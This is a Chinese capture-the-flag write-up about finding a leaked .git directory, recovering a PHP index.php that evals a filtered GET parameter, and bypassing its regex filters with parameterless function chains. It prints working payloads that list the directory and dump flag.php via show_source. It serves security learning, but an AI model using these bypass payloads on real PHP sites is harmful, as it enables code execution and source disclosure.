考点:.git泄露、无参数RCE
用wscan扫到了/.git
目录
利用GitHack下载到源码
index.php:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析源码得出:
1、flag在flag.php
2、GET传参exp
3、过滤了data://、filter://、php://、phar://这些伪协议,就不能用伪协议读flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替换匹配到的字符为NULL空。
参考:无参数读文件和RCE总结
关于(?R)?
:(?R)?
菜鸡在这里纠结了很长时间,还是理解不了
传入的exp参数只能包含小写字母、,、_、(),还要以;结尾
5、过滤了一些函数,像et,file_get_contents()就不能用
无参数RCE要用到的几个函数:
- print_r(scandir('.'));查看当前目录下的所有文件名
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
先查看当前目录下的所有文件名,但是这题不能有参数,找一个代替'.'
的东西
print_r(scandir(current(localeconv())));打印出当前目录下文件
?exp=print_r(scandir(current(localeconv())));
flag.php在倒数第二个,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
解题参考:
https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip